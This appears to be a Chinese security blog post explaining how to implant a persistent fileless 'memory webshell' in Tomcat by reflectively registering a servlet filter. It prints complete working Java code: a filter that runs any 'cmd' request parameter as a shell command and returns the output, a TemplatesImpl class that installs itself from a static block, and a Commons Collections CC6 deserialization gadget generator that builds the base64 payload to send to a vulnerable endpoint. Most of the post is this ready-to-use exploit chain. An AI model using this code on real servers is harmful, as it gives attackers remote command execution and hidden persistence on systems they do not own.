F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

      • Tomcat AJP协议漏洞
      • 基于Tomcat Response对象获取回显
      • 通过动态注册filter实现Tomcat内存🐎
        • 动态注册filter
          • Exception
          • filterMaps
          • filterConfigs
          • 优化
        • 实际应用
        • 关于三个 Context 的简单理解 【待补充】
          • ApplicationContext
          • StandardContext
        • 局限
      • 基于Tomcat全局存储进行回显
    • Shiro

    • 字节码

    • 反序列化

  • 技术
  • Java安全
  • Tomcat
F4DE
2021-04-06

通过动态注册filter实现Tomcat内存🐎

# Tomcat内存WebShell

Reference:

  • Tomcat中一种半通用回显方法 (opens new window)

  • 基于tomcat的内存 Webshell 无文件攻击技术 (opens new window)

这种方法需要获取 Request 和 Response 对象(具体方法可以参考上一篇文章或者是Reference中的文章),再通过动态注册filter,完成一个持久性Tomcat WebShell。

# 动态注册filter

# Exception

如果尝试直接动态注册filter,就会抛出异常:

@RequestMapping("/demo2")
public String demo2(ServletRequest request) {
    class WebShell implements Filter {
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("filter");
        }
    }
    ServletContext servletContext = request.getServletContext();
    FilterRegistration.Dynamic dynamic = servletContext.addFilter("WebShell", new WebShell());
    dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");

    return "demo2";
}

image-20210324172831693

因为在addfilter方法中的context.getState()方法的值为STARTED,会直接抛出异常:

image-20210324172751779

可以通过反射修改this.context字段的state的值来解决这个问题,之后便会把filterName添加到context字段的filterDef中:

image-20210406114632635

但是在实际的调用栈中,实际的filterChain的创建是在StandardWrapperValue#invoke方法中:

image-20210406114933963

public static ApplicationFilterChain createFilterChain(ServletRequest request,
                                                       Wrapper wrapper, Servlet servlet) {

  	······

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();
	
    ······
     
    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}

从context提取filterMap数组之后,生成filterConfig,之后添加到filterChain。

我们之前只是把创建的filter封装成了filterDef添加到了context的filterDefs字段,但是在filterMaps和filterConfigs中并不存在:

image-20210406115836437

# filterMaps

在执行dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");这条语句的时候,就已经添加到filterMaps中了:

@Override
public void addMappingForUrlPatterns(
    EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter,
    String... urlPatterns) {

    FilterMap filterMap = new FilterMap();

    filterMap.setFilterName(filterDef.getFilterName());

    if (dispatcherTypes != null) {
        for (DispatcherType dispatcherType : dispatcherTypes) {
            filterMap.setDispatcher(dispatcherType.name());
        }
    }

    if (urlPatterns != null) {
        // % decoded (if necessary) using UTF-8
        for (String urlPattern : urlPatterns) {
            filterMap.addURLPattern(urlPattern);
        }

        if (isMatchAfter) {
            context.addFilterMap(filterMap);
        } else {
            context.addFilterMapBefore(filterMap);
        }
    }
    // else error?
}

image-20210406190756330

# filterConfigs

在StandardContext中有一个filterStrat方法:

public boolean filterStart() {

    if (getLogger().isDebugEnabled()) {
        getLogger().debug("Starting filters");
    }
    // Instantiate and record a FilterConfig for each defined filter
    boolean ok = true;
    synchronized (filterConfigs) {
        filterConfigs.clear();
        for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
            String name = entry.getKey();
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Starting filter '" + name + "'");
            }
            try {
                ApplicationFilterConfig filterConfig =
                    new ApplicationFilterConfig(this, entry.getValue());
                filterConfigs.put(name, filterConfig);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString(
                    "standardContext.filterStart", name), t);
                ok = false;
            }
        }
    }

    return ok;
}

它会遍历filterDefs,然后实例化对应的ApplicationFilterConfig对象,最后添加到filterConfigs字段(根据filterDefs重新生成filterConfigs)。所以我们只需要反射调用这个方法就可以实现fiterConfigs字段的修改:

Method filterStart = StandardContext.class.getDeclaredMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext);

# 优化

可以把我们动态创建的filter放到filterMaps第一个位置上去:

FilterMap[] filterMaps = standardContext.findFilterMaps();

for (int i = 0; i < filterMaps.length; i++) {
    if (filterMaps[i].getFilterName().equals("WebShell")) {
        // 互换位置
        FilterMap filterMapTemp = filterMaps[0];
        filterMaps[0] = filterMaps[i];
        filterMaps[i] = filterMapTemp;
    }
}

Arrays.stream(filterMaps).forEach(System.out::println);

image-20210406192419931

完整demo如下:

import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.EnumSet;
import java.util.Scanner;

@RestController
public class Controller2 {

    @RequestMapping("/demo2")
    public String demo2(ServletRequest request) throws Exception {
        class WebShell implements Filter {
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
                String cmd = servletRequest.getParameter("cmd");
                InputStream inputStream = null;
                if (cmd != null) {
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        inputStream = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
                    } else {
                        inputStream = Runtime.getRuntime().exec(new String[]{"/bin/bash", "c", cmd}).getInputStream();
                    }
                }
                if (inputStream != null) {
                    Scanner s = new Scanner(inputStream).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter writer = servletResponse.getWriter();
                    writer.write(output);
                    writer.flush();
                    writer.close();
                }
            }
        }

        ServletContext servletContext = request.getServletContext();
        if (servletContext.getFilterRegistration("WebShell") == null) {
            // servletContext 实际上是获取的 ApplicationContextFacade,需要先提取其中的 ApplicationContext
            // 门面模式的使用:ApplicationContextFacade 实际上是对 ApplicationContext 的一层包装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);

            // 获取 ApplicationContext 中的 StandardContext
            context = applicationContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            StandardContext standardContext = (StandardContext) context.get(applicationContext);

            // 获取 StandardContext 中的 state
            Field state = LifecycleBase.class.getDeclaredField("state");
            state.setAccessible(true);
            state.set(standardContext, LifecycleState.STARTING_PREP);

            FilterRegistration.Dynamic dynamic = servletContext.addFilter("WebShell", new WebShell());
            dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");

            // 添加 filterDefs 到 filterConfigs
            Method filterStart = StandardContext.class.getDeclaredMethod("filterStart");
            filterStart.setAccessible(true);
            filterStart.invoke(standardContext);

            // 优化,调整 filter 顺序
            FilterMap[] filterMaps = standardContext.findFilterMaps();
            for (int i = 0; i < filterMaps.length; i++) {
                if (filterMaps[i].getFilterName().equals("WebShell")) {
                    // 互换位置
                    FilterMap filterMapTemp = filterMaps[0];
                    filterMaps[0] = filterMaps[i];
                    filterMaps[i] = filterMapTemp;
                }
            }
            // test
            Arrays.stream(filterMaps).forEach(System.out::println);
            // 恢复 STARTED 状态,否则程序运行会发生异常
            state.set(standardContext, LifecycleState.STARTED);
        }
        return "demo2";
    }
}

还是需要访问两次路由,第一次动态注册filter,第二次执行命令:

image-20210405223215967

# 实际应用

内存马的代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.beans.MutablePropertyValues;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Arrays;
import java.util.EnumSet;
import java.util.Scanner;

public class TomcatWebShell extends AbstractTranslet implements Filter {

    static {
        try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);

            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.set(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletContext servletContext = servletRequest.getServletContext();
                if (servletContext.getFilterRegistration("WebShell") == null) {
                    Field context = servletContext.getClass().getDeclaredField("context");
                    context.setAccessible(true);
                    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);

                    context = applicationContext.getClass().getDeclaredField("context");
                    context.setAccessible(true);
                    StandardContext standardContext = (StandardContext) context.get(applicationContext);

                    Field state = LifecycleBase.class.getDeclaredField("state");
                    state.setAccessible(true);
                    state.set(standardContext, LifecycleState.STARTING_PREP);

                    FilterRegistration.Dynamic dynamic = servletContext.addFilter("WebShell", new TomcatWebShell());
                    dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");

                    Method filterStart = StandardContext.class.getDeclaredMethod("filterStart");
                    filterStart.setAccessible(true);
                    filterStart.invoke(standardContext);

                    FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equals("WebShell")) {
                            FilterMap filterMapTemp = filterMaps[0];
                            filterMaps[0] = filterMaps[i];
                            filterMaps[i] = filterMapTemp;
                        }
                    }
                    Arrays.stream(filterMaps).forEach(System.out::println);
                    state.set(standardContext, LifecycleState.STARTED);
                }
            }

        } catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
            e.printStackTrace();
        }

    }


    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
        String cmd = servletRequest.getParameter("cmd");
        InputStream inputStream = null;
        if (cmd != null) {
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                inputStream = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
            } else {
                inputStream = Runtime.getRuntime().exec(new String[]{"/bin/bash", "c", cmd}).getInputStream();
            }
        }
        if (inputStream != null) {
            Scanner s = new Scanner(inputStream).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter writer = servletResponse.getWriter();
            writer.write(output);
            writer.flush();
            writer.close();
        }
    }
}

可以设想情形:

  1. 目标应用存在反序列化接口,可以把TomcatWebShell的字节码注入TemplatesImpl对象的_bytecode字段
  2. 触发Gadget之后,执行TomcatWebShell的static code block,第一次发送payload,执行的结果是获取了Request和Response对象
  3. 第二次发送payload,再次执行static code bolck,这次执行的结果是动态注册了TomcatWebShell这个filter,生成了持久化的WebShell
// 存在一个反序列化接口
import org.apache.tomcat.util.codec.binary.Base64;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;

@RestController
public class TestController {
    @RequestMapping("/test")
    public String test(@RequestParam("data") String data) throws Exception {
        byte[] bytes = Base64.decodeBase64(data);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        objectInputStream.close();

        return data;
    }
}

利用CC6生成payload:

package src;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.tomcat.util.codec.binary.Base64;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        File file = new File("target/classes/src/TomcatWebShell.class");
        byte[] bytes = new byte[(int) file.length()];
        FileInputStream fileInputStream = new FileInputStream(file);
        fileInputStream.read(bytes);

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "F4DE");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();

        setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

        // ======反序列化======
        ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
        ObjectOutputStream ops = new ObjectOutputStream(barr_out);
        ops.writeObject(expMap);

        System.out.println(Base64.encodeBase64String(barr_out.toByteArray()));
    }

    static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Class<?> clazz = Class.forName(obj.getClass().getName());
        Field field1 = clazz.getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

生成payload之后向目标接口发送两次payload(注意🏳‍🌈:将payload进行一层URL编码):

1

# 关于三个 Context 的简单理解 【待补充】

在内存马的创建过程中经常涉及了三个 Context :

  • ServletContext
  • ApplicationContext(ApplicationContextFaced)
  • StrandardContext

这里的 Context 实际可以分为两类:

  • Servlet中的Context:记录着Servlet在容器中运行的环境参数,对应着javax.servlet.ServletContext接口
  • Tomcat中的Context:对应着一个WebApp,用于管理Wrapper,对应着org.apache.catalina.Context接口

具体可以参考知乎大神的回答:tomcat里容器的context和我们Servlet里参数的Context是一个东西么? - 知乎 (zhihu.com) (opens new window)

# ApplicationContext

javax.servlet.ApplicationContext是ServletContext接口的实现类,实现了SerlvetContext接口规范定义的一些方法。

我们通过request.getServletContext获取到的是ApplicationContextFacade,由于门面模式 (opens new window)的使用,ApplicationContextFacade实际上是对ApplicationContext的一层包装:

image-20210408090643371

# StandardContext

org.apache.catalica.StandardContext是Context接口的实现类,在ApplicationContext类中存在对StandardContext的引用:

image-20210408092533081

而 StrandardContext类的方法中很多都调用了this.context#{Method}:

image-20210408092906663

所以某种程度上,ApplicationContext是对StrandardContext的一层包装,前者负责 Servlet 运行的环境信息,后者负责与 Tomcat 底层进行交互。

image-20210408094847558

# 局限

局限于 Request 和 Response 对象的获取方式,依然无法在Shiro中使用。

基于Tomcat Response对象获取回显
基于Tomcat全局存储进行回显

← 基于Tomcat Response对象获取回显 基于Tomcat全局存储进行回显→

最近更新
01
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
04-19
02
CommonsBeanUtils
04-19
03
基于Tomcat全局存储进行回显
04-16
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×